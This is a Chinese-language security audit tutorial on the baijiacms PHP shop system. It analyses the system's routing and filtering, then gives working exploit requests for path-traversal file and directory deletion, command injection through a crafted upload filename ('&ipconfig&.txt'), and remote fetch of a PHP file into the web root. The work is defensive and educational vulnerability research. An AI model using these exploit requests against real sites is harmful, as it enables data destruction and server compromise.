环境搭建

下载地址:https://gitee.com/openbaijia/baijiacms

环境:

  • php5.6.9
  • MySQL5.7.26
  • Apache2.4.39

直接访问http://127.0.0.1/install.php进行安装:

image-20251022165036946

image-20251022165146352

分析框架

目录结构

一套源码拿到手第一步仍然是分析框架,先看下目录结构:

image-20251022165545470

是一个无框架的cms,这就需要先搞清楚目录结构,路由,每个目录的功能:

1
2
3
4
5
6
7
8
baijiacms/
├── system/ # 核心框架系统
├── includes/ # 包含文件
├── config/ # 配置文件
├── addons/ # 插件模块
├── api/ # API接口
├── attachment/ # 上传文件
└── cache/ # 缓存目录

入口文件:

1
2
3
4
5
6
// 主要入口文件:
index.php // 前台入口
admin.php // 后台入口
api.php // API接口入口
mobile.php // 移动端入口
install.php // 安装脚本

针对system目录,这个较为常用,可以进行进一步分析:

1
2
3
4
5
6
7
8
9
10
11
12
system 系统模块目录
├─alipay 支付宝服务窗模块
├─bonus 优惠券模块
├─common 公共函数模板
├─index 登录页
├─member 会员模块
├─modules 可再扩展模块和模块管理
├─public 公共模块
├─shop 后台商城模块
├─shopwap 前台商城模块
├─user 系统用户
└─weixin 微信模块

主要关注一下几个方面:

1.入口文件index.php:根目录下的index.php文件是一个程序的入口,通常会包含整个程序的运行流程、包含的文件,所以通读一下index.php文件有助于我们了解整个程序的运行逻辑

2.安全过滤文件:安全过滤文件中会写函数对参数进行过滤,所以了解程序过滤的漏洞,对于我们进行进行漏洞利用至关重要。这类文件通常会在其他文件中包含,所以一般会在特定的目录,如上面的includes目录下。另外,找这类文件,也可以从其他文件包含的文件去看

3.函数集文件:函数集文件中会写一些公共的函数,方便其他文件对该函数进行调用,所以这类文件也会在其他文件中进行包含。这类文件通常会存放在common或function等文件夹中

入口文件index.php分析

image-20251029114227690

首先检查/config/install.link是否存在,不存在重定向到install.php进行安装

image-20251029114355873

然后通过条件判断确定$mod的值,$mod通过mod参数获得

image-20251029114601487

接着根据$mod的值来定义SYSTEM_ACT常量

image-20251029114916617

接着根据传入参数do和act来确定参数的值,其中do检查是否为空,为空则设置为shopindex,$act通过act参数获得

最后包含includes/baijiacms.php

安全过滤分析

跟进到includes/baijiacms.php查看:

image-20251029115252047

定义了一些常量

image-20251029115447410

在80,81行定义了$_GP,是通过GET、POST值获得的,82行定义了一个irequestsplite方法用于对输入字符进行html转义,然后对$_GP使用即对GET和POST传入的内容进行处理

路由分析

路由信息可通过全局搜索route关键词,到写了路由配置的文件中查看

如果没有找到,可以访问网站,查看url,结合url中的参数和文件目录及文件名进行理解

这里我们直接访问默认页面baijiacms/index.php
image-20251030095249971

在登录页面,可以看到4个参数mod、act、do、beid,这里主要关注前三个,将这三个参数在网站目录的文件找

image-20251030101206502

可以看到收到的值和标记的文件目录文件名一样,index.php调用了page,查看一下:
image-20251030103550520

会调用/template/mobile/目录下的index.php文件

image-20251030103708207

可以看到是对应的,act代表目录名,mod代表目录名,do代表

且所有接受参数都是在system目录下的文件中,所以重点放在该目录下的文件

接着我们就可以使用Seay进行漏洞查找

image-20251022213949192

任意目录及文件删除

看似seay找到这么多漏洞,其实绝大部分都是误报,能利用的少之又少。如果觉得扫描不够全面,可自行从敏感函数搜索查找,对于文件删除,常见的有:

1
2
3
4
unlinkrmdir
unlink
rmdir
delete

第一处

文件路由/includes/baijiacms/common.inc.php:

image-20251022220554174

其中定义了一个

rmdirs函数,如果参数是一个目录,会对目录下的文件进行递归而后删除一切文件,如果不是目录,那么会直接删除这个文件

那么我们就去查找哪里调用了该方法,全局搜索rmdir

image-20251022221049381

定位到\system\manager\class\web\database.php

image-20251022221553782

其中$d参数是经过base64解码的,它提供$path是否为目录,它通过$_GP['id']获取:

image-20251022221836341

这里将$_GET、$_POST和$_GP三个数组合并成一个新的数组,并将结果重新赋值给$_GP变量。

举个例子:

假设当前请求的URL为:http://example.com/index.php?name=Tom&age=20
同时表单POST数据包含:name=Jerry&city=Beijing
那么在执行这行代码前:
$_GET 数组内容为:['name' => 'Tom', 'age' => '20']
$_POST 数组内容为:['name' => 'Jerry', 'city' => 'Beijing']
$_GP 数组初始为空:[]
执行 $_GP = array_merge($_GET, $_POST, $_GP); 后:
$_GP 数组内容变为:['name' => 'Jerry', 'age' => '20', 'city' => 'Beijing']

最后是将path与d拼接,虽然写的是$path = WEB_ROOT . '/config/data_backup/';,然这里是可以绕过的,后续只校验是不是目录,而未限定目录,且d可控,所以可以抓包目录穿越修改

先创建一个目录用于测试:

image-20251022222444207

接着访问数据库备份界面:

1
http://127.0.0.1/index.php?mod=site&act=manager&do=database&op=restore&beid=1

点击删除抓包,修改id为:

1
Li4vLi4vYjF1ZWwwbjM=

image-20251022223315721

image-20251022223359489

接着查看目录是否还在:

image-20251022223834430

成功删除

第二处

除了redir和unlink,我们常常还关注delete函数,因为它直译过来也是删除的意思,全局搜索delete()

image-20251022224221750

/includes/baijiacms/common.inc.php处找到file_delete函数

找到一个关键点:

1
if(!empty($settings['system_isnetattach']))

当这个通过时,就不会删除文件,反之删除文件。

所以我们需要了解system_isnetattach是什么东西,全局搜索一下:

image-20251022224759280

对应的是附件设置功能点

image-20251022224859707

当为本地是为0,路由:

1
http://127.0.0.1/index.php?mod=site&act=manager&do=netattach&beid=1

do对应的具体文件,所以我们找哪个文件用了该函数即可:
image-20251022225209564

先看uploader文件:
image-20251022225331684

其中file变量通过$_GPC['file'];获取,全局变量$_GPC用于接收GET、POST、COOKIE等用户输入数据的超全局变量数组,所以是可控的,所以这里依旧能利用

同样创建个文件进行测试:
image-20251022230052310

根据路由规则来构造:

1
http://127.0.0.1/index.php?mod=mobile&act=uploader&do=util&m=eshop&op=remove&file=../b1uel0n3

image-20251022231758759

image-20251022231817944

成功删除

第三处

刚刚在搜索file_delete函数时发现还有一处也调用了该函数,在\system\eshop\core\web\shop\category.php:
image-20251022232716938

image-20251022232902454

前提是id不为空且op=post,构造:

1
http://127.0.0.1/index.php?mod=site&act=category&op=post&do=shop&m=eshop&beid=2&id=1&thumb_old=../b1uel0n3

image-20251022233141213

命令执行

关注的函数主要有evalsystemexec等常见的命令执行函数

搜索system函数:
image-20251022233811167

includes\baijiacms\common.inc.php下找到system函数

需要满足if(!empty($settings['image_compress_openscale']))

image-20251022234014826

需要开启图片压缩比例

image-20251022234117934

接着我们看哪里调用了该方法:

image-20251022234316255

找到\system\weixin\class\web\setting.php文件

对上传文件进行了pathinfo函数处理,其实也就是获取了拓展名(后缀名),当为txt后缀时,会继续往下进行,继而调用这个file_save函数,而这里WEB_ROOT."/".$file['name']对应的就是函数中的$file_full_path

所以我们这里的思路就明了了,我们这里新建一个文件,命名为xxx命令.txt,此时按理说就可以达到一个命令执行的效果,接下来进行尝试。

我们这里新建一个txt文件,命名为&ipconfig&.txt:
image-20251022234901492

访问:

1
http://127.0.0.1/index.php?mod=site&act=weixin&do=setting&beid=1

image-20251022235107843

image-20251022235258835

文件上传

直接全局搜索uploade:

image-20251023000442811

文件路由为includes\baijiacms\common.inc.php

这里对上传的文件进行校验,需要扩展名范围在$extentions中,所以这里是利用不了的

继续搜索:
image-20251023001134543

同样在includes\baijiacms\common.inc.php下有另一个函数fetch_net_file_upload对上传文件进行操作

这里会去除URL空格,提取文件后缀名,然后按年月创建目录结构 /attachment/扩展名/年/月/,随后随机生成15位字符的文件名,避免重名冲突,最后设置文件的完整临时路径和相对路径,这里并没有进行检测后缀

接着看那里调用了该函数:
image-20251023002149939

定位到:\system\public\class\web\file.php

image-20251023002304510

需要$do即op为fetch

先远程创建一个文件:

image-20251023002659827

1
http://127.0.0.1/index.php?mod=web&do=file&m=public&op=fetch&url=http://xxxx/test.php

image-20251023003329958

拼接路径:

1
http://127.0.0.1/attachment/php/2025/10/W91wI6Y0n1iDj9i.php

image-20251030104441718